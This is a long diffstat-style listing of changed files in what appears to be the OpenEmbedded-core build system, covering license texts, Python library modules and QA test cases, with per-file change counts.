-rw-r--r--meta/files/common-licenses/LPL-1.081
-rw-r--r--meta/files/common-licenses/LPPL-1.3a175
-rw-r--r--meta/files/common-licenses/Latex2e9
-rw-r--r--meta/files/common-licenses/Leptonica9
-rw-r--r--meta/files/common-licenses/LiLiQ-P-1.170
-rw-r--r--meta/files/common-licenses/LiLiQ-R-1.194
-rw-r--r--meta/files/common-licenses/LiLiQ-Rplus-1.188
-rw-r--r--meta/files/common-licenses/Linux-OpenIB18
-rw-r--r--meta/files/common-licenses/MIT-016
-rw-r--r--meta/files/common-licenses/MIT-CMU7
-rw-r--r--meta/files/common-licenses/MIT-Modern-Variant17
-rw-r--r--meta/files/common-licenses/MIT-advertising7
-rw-r--r--meta/files/common-licenses/MIT-enna9
-rw-r--r--meta/files/common-licenses/MIT-feh5
-rw-r--r--meta/files/common-licenses/MIT-open-group23
-rw-r--r--meta/files/common-licenses/MITNFA7
-rw-r--r--meta/files/common-licenses/MPL-2.0-no-copyleft-exception144
-rw-r--r--meta/files/common-licenses/MTLL24
-rw-r--r--meta/files/common-licenses/MakeIndex19
-rw-r--r--meta/files/common-licenses/MulanPSL-1.0116
-rw-r--r--meta/files/common-licenses/MulanPSL-2.0131
-rw-r--r--meta/files/common-licenses/Mup13
-rw-r--r--meta/files/common-licenses/NAIST-200370
-rw-r--r--meta/files/common-licenses/NBPL-1.059
-rw-r--r--meta/files/common-licenses/NCGL-UK-2.067
-rw-r--r--meta/files/common-licenses/NIST-PD15
-rw-r--r--meta/files/common-licenses/NIST-PD-fallback5
-rw-r--r--meta/files/common-licenses/NLOD-1.079
-rw-r--r--meta/files/common-licenses/NLOD-2.080
-rw-r--r--meta/files/common-licenses/NLPL14
-rw-r--r--meta/files/common-licenses/NOSL150
-rw-r--r--meta/files/common-licenses/NPL-1.0102
-rw-r--r--meta/files/common-licenses/NPL-1.1186
-rw-r--r--meta/files/common-licenses/NRL28
-rw-r--r--meta/files/common-licenses/NTP-05
-rw-r--r--meta/files/common-licenses/Nauman50
-rw-r--r--meta/files/common-licenses/Naumen21
-rw-r--r--meta/files/common-licenses/Net-SNMP107
-rw-r--r--meta/files/common-licenses/NetCDF7
-rw-r--r--meta/files/common-licenses/Newsletr7
-rw-r--r--meta/files/common-licenses/Noweb9
-rw-r--r--meta/files/common-licenses/O-UDA-1.047
-rw-r--r--meta/files/common-licenses/OCCT-PL112
-rw-r--r--meta/files/common-licenses/ODC-By-1.0195
-rw-r--r--meta/files/common-licenses/OFL-1.049
-rw-r--r--meta/files/common-licenses/OFL-1.0-RFN49
-rw-r--r--meta/files/common-licenses/OFL-1.0-no-RFN49
-rw-r--r--meta/files/common-licenses/OFL-1.1-RFN43
-rw-r--r--meta/files/common-licenses/OFL-1.1-no-RFN43
-rw-r--r--meta/files/common-licenses/OGC-1.017
-rw-r--r--meta/files/common-licenses/OGDL-Taiwan-1.0141
-rw-r--r--meta/files/common-licenses/OGL-Canada-2.051
-rw-r--r--meta/files/common-licenses/OGL-UK-1.069
-rw-r--r--meta/files/common-licenses/OGL-UK-2.072
-rw-r--r--meta/files/common-licenses/OGL-UK-3.069
-rw-r--r--meta/files/common-licenses/OLDAP-1.160
-rw-r--r--meta/files/common-licenses/OLDAP-1.260
-rw-r--r--meta/files/common-licenses/OLDAP-1.362
-rw-r--r--meta/files/common-licenses/OLDAP-1.462
-rw-r--r--meta/files/common-licenses/OLDAP-2.018
-rw-r--r--meta/files/common-licenses/OLDAP-2.0.118
-rw-r--r--meta/files/common-licenses/OLDAP-2.120
-rw-r--r--meta/files/common-licenses/OLDAP-2.222
-rw-r--r--meta/files/common-licenses/OLDAP-2.2.122
-rw-r--r--meta/files/common-licenses/OLDAP-2.2.224
-rw-r--r--meta/files/common-licenses/OLDAP-2.324
-rw-r--r--meta/files/common-licenses/OLDAP-2.422
-rw-r--r--meta/files/common-licenses/OLDAP-2.522
-rw-r--r--meta/files/common-licenses/OLDAP-2.620
-rw-r--r--meta/files/common-licenses/OLDAP-2.720
-rw-r--r--meta/files/common-licenses/OML5
-rw-r--r--meta/files/common-licenses/OPL-1.0136
-rw-r--r--meta/files/common-licenses/OPUBL-1.078
-rw-r--r--meta/files/common-licenses/OSET-PL-2.1161
-rw-r--r--meta/files/common-licenses/OSL-1.147
-rw-r--r--meta/files/common-licenses/OSL-2.147
-rw-r--r--meta/files/common-licenses/PDDL-1.0136
-rw-r--r--meta/files/common-licenses/PHP-3.0127
-rw-r--r--meta/files/common-licenses/PSF-2.049
-rw-r--r--meta/files/common-licenses/Parity-6.0.044
-rw-r--r--meta/files/common-licenses/Parity-7.0.071
-rw-r--r--meta/files/common-licenses/Plexus15
-rw-r--r--meta/files/common-licenses/PolyForm-Noncommercial-1.0.0131
-rw-r--r--meta/files/common-licenses/PolyForm-Small-Business-1.0.0121
-rw-r--r--meta/files/common-licenses/Qhull17
-rw-r--r--meta/files/common-licenses/RPL-1.1177
-rw-r--r--meta/files/common-licenses/RSA-MD9
-rw-r--r--meta/files/common-licenses/Rdisc13
-rw-r--r--meta/files/common-licenses/SCEA60
-rw-r--r--meta/files/common-licenses/SGI-B-1.082
-rw-r--r--meta/files/common-licenses/SGI-B-1.184
-rw-r--r--meta/files/common-licenses/SGI-B-2.012
-rw-r--r--meta/files/common-licenses/SHL-0.564
-rw-r--r--meta/files/common-licenses/SHL-0.5165
-rw-r--r--meta/files/common-licenses/SISSL116
-rw-r--r--meta/files/common-licenses/SISSL-1.2114
-rw-r--r--meta/files/common-licenses/SMLNJ7
-rw-r--r--meta/files/common-licenses/SMPPL29
-rw-r--r--meta/files/common-licenses/SNIA122
-rw-r--r--meta/files/common-licenses/SSH-OpenSSH67
-rw-r--r--meta/files/common-licenses/SSH-short5
-rw-r--r--meta/files/common-licenses/SSPL-1.0557
-rw-r--r--meta/files/common-licenses/SWL7
-rw-r--r--meta/files/common-licenses/Saxpath19
-rw-r--r--meta/files/common-licenses/Sendmail36
-rw-r--r--meta/files/common-licenses/Sendmail-8.2336
-rw-r--r--meta/files/common-licenses/SimPL-2.037
-rw-r--r--meta/files/common-licenses/Spencer-8611
-rw-r--r--meta/files/common-licenses/Spencer-9412
-rw-r--r--meta/files/common-licenses/Spencer-999
-rw-r--r--meta/files/common-licenses/TAPR-OHL-1.0266
-rw-r--r--meta/files/common-licenses/TCL9
-rw-r--r--meta/files/common-licenses/TCP-wrappers7
-rw-r--r--meta/files/common-licenses/TMate21
-rw-r--r--meta/files/common-licenses/TORQUE-1.125
-rw-r--r--meta/files/common-licenses/TOSL9
-rw-r--r--meta/files/common-licenses/TU-Berlin-1.010
-rw-r--r--meta/files/common-licenses/TU-Berlin-2.020
-rw-r--r--meta/files/common-licenses/UCL-1.048
-rw-r--r--meta/files/common-licenses/UPL-1.017
-rw-r--r--meta/files/common-licenses/Unicode-DFS-201519
-rw-r--r--meta/files/common-licenses/Unicode-DFS-201622
-rw-r--r--meta/files/common-licenses/Unicode-TOU51
-rw-r--r--meta/files/common-licenses/VOSTROM27
-rw-r--r--meta/files/common-licenses/Vim30
-rw-r--r--meta/files/common-licenses/W3C-1998072023
-rw-r--r--meta/files/common-licenses/W3C-2015051317
-rw-r--r--meta/files/common-licenses/WTFPL11
-rw-r--r--meta/files/common-licenses/Wsuipa5
-rw-r--r--meta/files/common-licenses/X1113
-rw-r--r--meta/files/common-licenses/XSkat10
-rw-r--r--meta/files/common-licenses/Xerox5
-rw-r--r--meta/files/common-licenses/YPL-1.047
-rw-r--r--meta/files/common-licenses/Zed3
-rw-r--r--meta/files/common-licenses/Zend-2.018
-rw-r--r--meta/files/common-licenses/Zimbra-1.447
-rw-r--r--meta/files/common-licenses/blessing5
-rw-r--r--meta/files/common-licenses/bzip2-1.0.443
-rw-r--r--meta/files/common-licenses/bzip2-1.0.518
-rw-r--r--meta/files/common-licenses/copyleft-next-0.3.0219
-rw-r--r--meta/files/common-licenses/copyleft-next-0.3.1220
-rw-r--r--meta/files/common-licenses/curl10
-rw-r--r--meta/files/common-licenses/diffmark2
-rw-r--r--meta/files/common-licenses/dvipdfm1
-rw-r--r--meta/files/common-licenses/eGenix40
-rw-r--r--meta/files/common-licenses/etalab-2.0179
-rw-r--r--meta/files/common-licenses/gnuplot14
-rw-r--r--meta/files/common-licenses/iMatix39
-rw-r--r--meta/files/common-licenses/libpng-2.033
-rw-r--r--meta/files/common-licenses/libselinux-1.021
-rw-r--r--meta/files/common-licenses/libtiff8
-rw-r--r--meta/files/common-licenses/mpich218
-rw-r--r--meta/files/common-licenses/psfrag5
-rw-r--r--meta/files/common-licenses/psutils29
-rw-r--r--meta/files/common-licenses/tcl40
-rw-r--r--meta/files/common-licenses/vim81
-rw-r--r--meta/files/common-licenses/xinetd25
-rw-r--r--meta/files/common-licenses/xpp21
-rw-r--r--meta/files/common-licenses/zlib-acknowledgement15
-rw-r--r--meta/files/ext-sdk-prepare.py19
-rw-r--r--meta/files/fs-perms-persistent-log.txt3
-rw-r--r--meta/files/fs-perms.txt3
-rw-r--r--meta/files/layers.example.json48
-rw-r--r--meta/files/layers.schema.json76
-rw-r--r--meta/files/overlayfs-all-overlays.service.in12
-rw-r--r--meta/files/overlayfs-create-dirs.service.in14
-rw-r--r--meta/files/overlayfs-create-dirs.sh11
-rw-r--r--meta/files/overlayfs-etc-preinit.sh.in52
-rw-r--r--meta/files/overlayfs-unit.mount.in13
-rw-r--r--meta/files/ptest-perl/run-ptest2
-rw-r--r--meta/files/screenshot-tests/core-image-sato-qemuarm.pngbin0 -> 52173 bytes
-rw-r--r--meta/files/screenshot-tests/core-image-sato-qemuarm64.pngbin0 -> 47282 bytes
-rw-r--r--meta/files/screenshot-tests/core-image-sato-qemumips.pngbin0 -> 47282 bytes
-rw-r--r--meta/files/screenshot-tests/core-image-sato-qemumips64.pngbin0 -> 47282 bytes
-rw-r--r--meta/files/screenshot-tests/core-image-sato-qemuppc.pngbin0 -> 57366 bytes
-rw-r--r--meta/files/screenshot-tests/core-image-sato-qemuriscv64.pngbin0 -> 39012 bytes
-rw-r--r--meta/files/screenshot-tests/core-image-sato-qemux86-64.pngbin0 -> 46324 bytes
-rw-r--r--meta/files/screenshot-tests/core-image-sato-qemux86.pngbin0 -> 46324 bytes
l---------meta/files/screenshot-tests/core-image-sato-sdk-qemuarm.png1
l---------meta/files/screenshot-tests/core-image-sato-sdk-qemuarm64.png1
l---------meta/files/screenshot-tests/core-image-sato-sdk-qemumips.png1
l---------meta/files/screenshot-tests/core-image-sato-sdk-qemumips64.png1
l---------meta/files/screenshot-tests/core-image-sato-sdk-qemuppc.png1
l---------meta/files/screenshot-tests/core-image-sato-sdk-qemuriscv64.png1
l---------meta/files/screenshot-tests/core-image-sato-sdk-qemux86-64.png1
l---------meta/files/screenshot-tests/core-image-sato-sdk-qemux86.png1
-rw-r--r--meta/files/spdx-licenses.json5937
-rw-r--r--meta/files/toolchain-shar-extract.sh17
-rw-r--r--meta/files/toolchain-shar-relocate.sh24
-rw-r--r--meta/lib/bblayers/buildconf.py84
-rw-r--r--meta/lib/bblayers/create.py21
-rw-r--r--meta/lib/bblayers/makesetup.py102
-rw-r--r--meta/lib/bblayers/setupwriters/oe-setup-layers.py117
-rw-r--r--meta/lib/bblayers/templates/example.bb4
-rw-r--r--meta/lib/bblayers/templates/layer.conf10
-rw-r--r--meta/lib/buildstats.py88
-rw-r--r--meta/lib/oe/__init__.py6
-rw-r--r--meta/lib/oe/buildcfg.py79
-rw-r--r--meta/lib/oe/buildhistory_analysis.py8
-rw-r--r--meta/lib/oe/cachedpath.py2
-rw-r--r--meta/lib/oe/classextend.py13
-rw-r--r--meta/lib/oe/classutils.py2
-rw-r--r--meta/lib/oe/copy_buildsystem.py20
-rw-r--r--meta/lib/oe/cve_check.py245
-rw-r--r--meta/lib/oe/data.py2
-rw-r--r--meta/lib/oe/distro_check.py4
-rw-r--r--meta/lib/oe/elf.py12
-rw-r--r--meta/lib/oe/go.py34
-rw-r--r--meta/lib/oe/gpg_sign.py58
-rw-r--r--meta/lib/oe/license.py56
-rw-r--r--meta/lib/oe/lsb.py2
-rw-r--r--meta/lib/oe/maketype.py9
-rw-r--r--meta/lib/oe/manifest.py12
-rw-r--r--meta/lib/oe/npm_registry.py175
-rw-r--r--meta/lib/oe/overlayfs.py54
-rw-r--r--meta/lib/oe/package.py1751
-rw-r--r--meta/lib/oe/package_manager/__init__.py50
-rw-r--r--meta/lib/oe/package_manager/deb/__init__.py60
-rw-r--r--meta/lib/oe/package_manager/deb/manifest.py4
-rw-r--r--meta/lib/oe/package_manager/deb/rootfs.py10
-rw-r--r--meta/lib/oe/package_manager/deb/sdk.py21
-rw-r--r--meta/lib/oe/package_manager/ipk/__init__.py62
-rw-r--r--meta/lib/oe/package_manager/ipk/manifest.py5
-rw-r--r--meta/lib/oe/package_manager/ipk/rootfs.py49
-rw-r--r--meta/lib/oe/package_manager/ipk/sdk.py27
-rw-r--r--meta/lib/oe/package_manager/rpm/__init__.py52
-rw-r--r--meta/lib/oe/package_manager/rpm/manifest.py4
-rw-r--r--meta/lib/oe/package_manager/rpm/rootfs.py12
-rw-r--r--meta/lib/oe/package_manager/rpm/sdk.py20
-rw-r--r--meta/lib/oe/packagedata.py276
-rw-r--r--meta/lib/oe/packagegroup.py2
-rw-r--r--meta/lib/oe/patch.py264
-rw-r--r--meta/lib/oe/path.py29
-rw-r--r--meta/lib/oe/prservice.py37
-rw-r--r--meta/lib/oe/qa.py60
-rw-r--r--meta/lib/oe/recipeutils.py154
-rw-r--r--meta/lib/oe/reproducible.py105
-rw-r--r--meta/lib/oe/rootfs.py144
-rw-r--r--meta/lib/oe/rust.py13
-rw-r--r--meta/lib/oe/sbom.py120
-rw-r--r--meta/lib/oe/sdk.py35
-rw-r--r--meta/lib/oe/spdx.py357
-rw-r--r--meta/lib/oe/sstatesig.py254
-rw-r--r--meta/lib/oe/terminal.py34
-rw-r--r--meta/lib/oe/types.py2
-rw-r--r--meta/lib/oe/useradd.py4
-rw-r--r--meta/lib/oe/utils.py187
-rw-r--r--meta/lib/oeqa/buildperf/base.py2
-rw-r--r--meta/lib/oeqa/controllers/__init__.py2
-rw-r--r--meta/lib/oeqa/controllers/controllerimage.py199
-rw-r--r--meta/lib/oeqa/controllers/masterimage.py199
-rw-r--r--meta/lib/oeqa/controllers/testtargetloader.py2
-rw-r--r--meta/lib/oeqa/core/case.py9
-rw-r--r--meta/lib/oeqa/core/context.py6
-rw-r--r--meta/lib/oeqa/core/decorator/__init__.py11
-rw-r--r--meta/lib/oeqa/core/decorator/data.py76
-rw-r--r--meta/lib/oeqa/core/decorator/oetimeout.py5
-rw-r--r--meta/lib/oeqa/core/loader.py12
-rw-r--r--meta/lib/oeqa/core/runner.py12
-rw-r--r--meta/lib/oeqa/core/target/qemu.py36
-rw-r--r--meta/lib/oeqa/core/target/ssh.py79
-rw-r--r--meta/lib/oeqa/core/tests/cases/timeout.py13
-rwxr-xr-xmeta/lib/oeqa/core/tests/test_data.py2
-rwxr-xr-xmeta/lib/oeqa/core/tests/test_decorators.py6
-rw-r--r--meta/lib/oeqa/core/utils/concurrencytest.py68
-rw-r--r--meta/lib/oeqa/core/utils/misc.py47
-rw-r--r--meta/lib/oeqa/files/maturin/guessing-game/Cargo.toml20
-rw-r--r--meta/lib/oeqa/files/maturin/guessing-game/LICENSE-APACHE201
-rw-r--r--meta/lib/oeqa/files/maturin/guessing-game/LICENSE-MIT25
-rw-r--r--meta/lib/oeqa/files/maturin/guessing-game/pyproject.toml8
-rw-r--r--meta/lib/oeqa/files/maturin/guessing-game/src/lib.rs48
-rw-r--r--meta/lib/oeqa/files/test.rs2
-rw-r--r--meta/lib/oeqa/files/testresults/testresults.json2
-rw-r--r--meta/lib/oeqa/manual/bsp-hw.json324
-rw-r--r--meta/lib/oeqa/manual/build-appliance.json2
-rw-r--r--meta/lib/oeqa/manual/eclipse-plugin.json6
-rw-r--r--meta/lib/oeqa/manual/oe-core.json2
-rw-r--r--meta/lib/oeqa/manual/sdk.json2
-rw-r--r--meta/lib/oeqa/manual/toaster-managed-mode.json16
-rw-r--r--meta/lib/oeqa/oetest.py24
-rw-r--r--meta/lib/oeqa/runtime/cases/_qemutiny.py13
-rw-r--r--meta/lib/oeqa/runtime/cases/apt.py40
-rw-r--r--meta/lib/oeqa/runtime/cases/boot.py4
-rw-r--r--meta/lib/oeqa/runtime/cases/buildcpio.py6
-rw-r--r--meta/lib/oeqa/runtime/cases/buildgalculator.py2
-rw-r--r--meta/lib/oeqa/runtime/cases/buildlzip.py2
-rw-r--r--meta/lib/oeqa/runtime/cases/connman.py2
-rw-r--r--meta/lib/oeqa/runtime/cases/date.py15
-rw-r--r--meta/lib/oeqa/runtime/cases/df.py4
-rw-r--r--meta/lib/oeqa/runtime/cases/dnf.py88
-rw-r--r--meta/lib/oeqa/runtime/cases/ethernet_ip_connman.py42
-rw-r--r--meta/lib/oeqa/runtime/cases/gcc.py2
-rw-r--r--meta/lib/oeqa/runtime/cases/gi.py2
-rw-r--r--meta/lib/oeqa/runtime/cases/go.py21
-rw-r--r--meta/lib/oeqa/runtime/cases/gstreamer.py2
-rw-r--r--meta/lib/oeqa/runtime/cases/kernelmodule.py2
-rw-r--r--meta/lib/oeqa/runtime/cases/ksample.py4
-rw-r--r--meta/lib/oeqa/runtime/cases/ldd.py2
-rw-r--r--meta/lib/oeqa/runtime/cases/login.py116
-rw-r--r--meta/lib/oeqa/runtime/cases/logrotate.py16
-rw-r--r--meta/lib/oeqa/runtime/cases/ltp.py28
-rw-r--r--meta/lib/oeqa/runtime/cases/ltp_stress.py3
-rw-r--r--meta/lib/oeqa/runtime/cases/maturin.py58
-rw-r--r--meta/lib/oeqa/runtime/cases/multilib.py13
-rw-r--r--meta/lib/oeqa/runtime/cases/oe_syslog.py15
-rw-r--r--meta/lib/oeqa/runtime/cases/opkg.py2
-rw-r--r--meta/lib/oeqa/runtime/cases/pam.py5
-rw-r--r--meta/lib/oeqa/runtime/cases/parselogs-ignores-common.txt62
-rw-r--r--meta/lib/oeqa/runtime/cases/parselogs-ignores-mipsarch.txt2
-rw-r--r--meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuall.txt27
-rw-r--r--meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuarm64.txt6
-rw-r--r--meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuarmv5.txt19
-rw-r--r--meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuppc.txt6
-rw-r--r--meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuppc64.txt4
-rw-r--r--meta/lib/oeqa/runtime/cases/parselogs-ignores-qemux86.txt2
-rw-r--r--meta/lib/oeqa/runtime/cases/parselogs-ignores-x86.txt10
l---------meta/lib/oeqa/runtime/cases/parselogs-ignores-x86_64.txt1
-rw-r--r--meta/lib/oeqa/runtime/cases/parselogs.py382
-rw-r--r--meta/lib/oeqa/runtime/cases/perl.py2
-rw-r--r--meta/lib/oeqa/runtime/cases/ping.py25
-rw-r--r--meta/lib/oeqa/runtime/cases/ptest.py15
-rw-r--r--meta/lib/oeqa/runtime/cases/python.py2
-rw-r--r--meta/lib/oeqa/runtime/cases/rpm.py58
-rw-r--r--meta/lib/oeqa/runtime/cases/rt.py19
-rw-r--r--meta/lib/oeqa/runtime/cases/rtc.py45
-rw-r--r--meta/lib/oeqa/runtime/cases/runlevel.py27
-rw-r--r--meta/lib/oeqa/runtime/cases/rust.py64
-rw-r--r--meta/lib/oeqa/runtime/cases/scons.py2
-rw-r--r--meta/lib/oeqa/runtime/cases/scp.py4
-rw-r--r--meta/lib/oeqa/runtime/cases/skeletoninit.py6
-rw-r--r--meta/lib/oeqa/runtime/cases/ssh.py9
-rw-r--r--meta/lib/oeqa/runtime/cases/stap.py41
-rw-r--r--meta/lib/oeqa/runtime/cases/storage.py18
-rw-r--r--meta/lib/oeqa/runtime/cases/suspend.py38
-rw-r--r--meta/lib/oeqa/runtime/cases/systemd.py30
-rw-r--r--meta/lib/oeqa/runtime/cases/terminal.py26
-rw-r--r--meta/lib/oeqa/runtime/cases/usb_hid.py27
-rw-r--r--meta/lib/oeqa/runtime/cases/weston.py38
-rw-r--r--meta/lib/oeqa/runtime/cases/x32lib.py19
-rw-r--r--meta/lib/oeqa/runtime/cases/xorg.py2
-rw-r--r--meta/lib/oeqa/runtime/context.py48
-rw-r--r--meta/lib/oeqa/runtime/decorator/package.py18
-rw-r--r--meta/lib/oeqa/runtime/files/hello.stp1
-rw-r--r--meta/lib/oeqa/sdk/buildtools-cases/README2
-rw-r--r--meta/lib/oeqa/sdk/buildtools-cases/build.py32
-rw-r--r--meta/lib/oeqa/sdk/buildtools-cases/gcc.py31
-rw-r--r--meta/lib/oeqa/sdk/buildtools-cases/https.py22
-rw-r--r--meta/lib/oeqa/sdk/buildtools-cases/sanity.py24
-rw-r--r--meta/lib/oeqa/sdk/buildtools-docs-cases/README2
-rw-r--r--meta/lib/oeqa/sdk/buildtools-docs-cases/build.py19
-rw-r--r--meta/lib/oeqa/sdk/case.py2
-rw-r--r--meta/lib/oeqa/sdk/cases/assimp.py15
-rw-r--r--meta/lib/oeqa/sdk/cases/buildcpio.py10
-rw-r--r--meta/lib/oeqa/sdk/cases/buildepoxy.py11
-rw-r--r--meta/lib/oeqa/sdk/cases/buildgalculator.py9
-rw-r--r--meta/lib/oeqa/sdk/cases/buildlzip.py4
-rw-r--r--meta/lib/oeqa/sdk/cases/gcc.py2
-rw-r--r--meta/lib/oeqa/sdk/cases/maturin.py79
-rw-r--r--meta/lib/oeqa/sdk/cases/perl.py2
-rw-r--r--meta/lib/oeqa/sdk/cases/python.py13
-rw-r--r--meta/lib/oeqa/sdk/cases/rust.py57
-rw-r--r--meta/lib/oeqa/sdk/files/rust/hello/Cargo.toml6
-rw-r--r--meta/lib/oeqa/sdk/files/rust/hello/build.rs3
-rw-r--r--meta/lib/oeqa/sdk/files/rust/hello/src/main.rs3
-rw-r--r--meta/lib/oeqa/sdk/testmetaidesupport.py45
-rw-r--r--meta/lib/oeqa/sdk/testsdk.py14
-rw-r--r--meta/lib/oeqa/sdkext/cases/devtool.py2
-rw-r--r--meta/lib/oeqa/sdkext/testsdk.py10
-rw-r--r--meta/lib/oeqa/selftest/case.py19
-rw-r--r--meta/lib/oeqa/selftest/cases/_sstatetests_noauto.py10
-rw-r--r--meta/lib/oeqa/selftest/cases/archiver.py56
-rw-r--r--meta/lib/oeqa/selftest/cases/baremetal.py14
-rw-r--r--meta/lib/oeqa/selftest/cases/bblayers.py130
-rw-r--r--meta/lib/oeqa/selftest/cases/bblock.py203
-rw-r--r--meta/lib/oeqa/selftest/cases/bblogging.py182
-rw-r--r--meta/lib/oeqa/selftest/cases/bbtests.py130
-rw-r--r--meta/lib/oeqa/selftest/cases/binutils.py16
-rw-r--r--meta/lib/oeqa/selftest/cases/buildhistory.py2
-rw-r--r--meta/lib/oeqa/selftest/cases/buildoptions.py81
-rw-r--r--meta/lib/oeqa/selftest/cases/c_cpp.py60
-rw-r--r--meta/lib/oeqa/selftest/cases/containerimage.py15
-rw-r--r--meta/lib/oeqa/selftest/cases/cve_check.py242
-rw-r--r--meta/lib/oeqa/selftest/cases/debuginfod.py158
-rw-r--r--meta/lib/oeqa/selftest/cases/devtool.py1296
-rw-r--r--meta/lib/oeqa/selftest/cases/diffoscope/A/file.txt1
-rw-r--r--meta/lib/oeqa/selftest/cases/diffoscope/B/file.txt1
-rw-r--r--meta/lib/oeqa/selftest/cases/distrodata.py17
-rw-r--r--meta/lib/oeqa/selftest/cases/eSDK.py120
-rw-r--r--meta/lib/oeqa/selftest/cases/efibootpartition.py47
-rw-r--r--meta/lib/oeqa/selftest/cases/esdk.py122
-rw-r--r--meta/lib/oeqa/selftest/cases/externalsrc.py44
-rw-r--r--meta/lib/oeqa/selftest/cases/fetch.py69
-rw-r--r--meta/lib/oeqa/selftest/cases/fitimage.py846
-rw-r--r--meta/lib/oeqa/selftest/cases/gcc.py21
-rw-r--r--meta/lib/oeqa/selftest/cases/gdbserver.py67
-rw-r--r--meta/lib/oeqa/selftest/cases/gitarchivetests.py136
-rw-r--r--meta/lib/oeqa/selftest/cases/glibc.py24
-rw-r--r--meta/lib/oeqa/selftest/cases/gotoolchain.py20
-rw-r--r--meta/lib/oeqa/selftest/cases/image_typedep.py6
-rw-r--r--meta/lib/oeqa/selftest/cases/imagefeatures.py250
-rw-r--r--meta/lib/oeqa/selftest/cases/incompatible_lic.py143
-rw-r--r--meta/lib/oeqa/selftest/cases/intercept.py21
-rw-r--r--meta/lib/oeqa/selftest/cases/kerneldevelopment.py9
-rw-r--r--meta/lib/oeqa/selftest/cases/layerappend.py14
-rw-r--r--meta/lib/oeqa/selftest/cases/liboe.py4
-rw-r--r--meta/lib/oeqa/selftest/cases/lic_checksum.py25
-rw-r--r--meta/lib/oeqa/selftest/cases/locales.py54
-rw-r--r--meta/lib/oeqa/selftest/cases/manifest.py4
-rw-r--r--meta/lib/oeqa/selftest/cases/meta_ide.py21
-rw-r--r--meta/lib/oeqa/selftest/cases/minidebuginfo.py44
-rw-r--r--meta/lib/oeqa/selftest/cases/multiconfig.py21
-rw-r--r--meta/lib/oeqa/selftest/cases/newlib.py13
-rw-r--r--meta/lib/oeqa/selftest/cases/oelib/buildhistory.py26
-rw-r--r--meta/lib/oeqa/selftest/cases/oelib/elf.py4
-rw-r--r--meta/lib/oeqa/selftest/cases/oelib/license.py24
-rw-r--r--meta/lib/oeqa/selftest/cases/oelib/path.py2
-rw-r--r--meta/lib/oeqa/selftest/cases/oelib/types.py2
-rw-r--r--meta/lib/oeqa/selftest/cases/oelib/utils.py5
-rw-r--r--meta/lib/oeqa/selftest/cases/oescripts.py47
-rw-r--r--meta/lib/oeqa/selftest/cases/overlayfs.py502
-rw-r--r--meta/lib/oeqa/selftest/cases/package.py49
-rw-r--r--meta/lib/oeqa/selftest/cases/pkgdata.py17
-rw-r--r--meta/lib/oeqa/selftest/cases/prservice.py41
-rw-r--r--meta/lib/oeqa/selftest/cases/pseudo.py29
-rw-r--r--meta/lib/oeqa/selftest/cases/recipetool.py874
-rw-r--r--meta/lib/oeqa/selftest/cases/recipeutils.py16
-rw-r--r--meta/lib/oeqa/selftest/cases/reproducible.py134
-rw-r--r--meta/lib/oeqa/selftest/cases/resulttooltests.py279
-rw-r--r--meta/lib/oeqa/selftest/cases/rootfspostcommandstests.py97
-rw-r--r--meta/lib/oeqa/selftest/cases/rpmtests.py14
-rw-r--r--meta/lib/oeqa/selftest/cases/runcmd.py26
-rw-r--r--meta/lib/oeqa/selftest/cases/runqemu.py83
-rw-r--r--meta/lib/oeqa/selftest/cases/runtime_test.py169
-rw-r--r--meta/lib/oeqa/selftest/cases/rust.py231
-rw-r--r--meta/lib/oeqa/selftest/cases/selftest.py3
-rw-r--r--meta/lib/oeqa/selftest/cases/signing.py20
-rw-r--r--meta/lib/oeqa/selftest/cases/spdx.py54
-rw-r--r--meta/lib/oeqa/selftest/cases/sstate.py67
-rw-r--r--meta/lib/oeqa/selftest/cases/sstatetests.py711
-rw-r--r--meta/lib/oeqa/selftest/cases/sysroot.py59
-rw-r--r--meta/lib/oeqa/selftest/cases/tinfoil.py59
-rw-r--r--meta/lib/oeqa/selftest/cases/usergrouptests.py57
-rw-r--r--meta/lib/oeqa/selftest/cases/wic.py817
-rw-r--r--meta/lib/oeqa/selftest/cases/wrapper.py16
-rw-r--r--meta/lib/oeqa/selftest/cases/yoctotestresultsquerytests.py39
-rw-r--r--meta/lib/oeqa/selftest/context.py148
-rw-r--r--meta/lib/oeqa/targetcontrol.py21
-rw-r--r--meta/lib/oeqa/utils/__init__.py29
-rw-r--r--meta/lib/oeqa/utils/buildproject.py3
-rw-r--r--meta/lib/oeqa/utils/commands.py54
-rw-r--r--meta/lib/oeqa/utils/decorators.py85
-rw-r--r--meta/lib/oeqa/utils/dump.py89
-rw-r--r--meta/lib/oeqa/utils/ftools.py2
-rw-r--r--meta/lib/oeqa/utils/gitarchive.py56
-rw-r--r--meta/lib/oeqa/utils/httpserver.py29
-rw-r--r--meta/lib/oeqa/utils/logparser.py98
-rw-r--r--meta/lib/oeqa/utils/metadata.py6
-rw-r--r--meta/lib/oeqa/utils/network.py2
-rw-r--r--meta/lib/oeqa/utils/nfs.py10
-rw-r--r--meta/lib/oeqa/utils/package_manager.py6
-rw-r--r--meta/lib/oeqa/utils/postactions.py98
-rw-r--r--meta/lib/oeqa/utils/qemurunner.py449
-rw-r--r--meta/lib/oeqa/utils/qemutinyrunner.py6
-rw-r--r--meta/lib/oeqa/utils/subprocesstweak.py2
-rw-r--r--meta/lib/oeqa/utils/targetbuild.py4
-rw-r--r--meta/lib/patchtest/README.md20
-rw-r--r--meta/lib/patchtest/data.py86
-rw-r--r--meta/lib/patchtest/patch.py62
-rw-r--r--meta/lib/patchtest/repo.py174
-rw-r--r--meta/lib/patchtest/requirements.txt6
-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.1.fail32
-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.1.pass31
-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.2.fail31
-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.2.pass31
-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_bugzilla_entry_format.fail25
-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_bugzilla_entry_format.pass25
-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_commit_message_presence.fail22
-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_commit_message_presence.pass24
-rw-r--r--meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.1.fail36
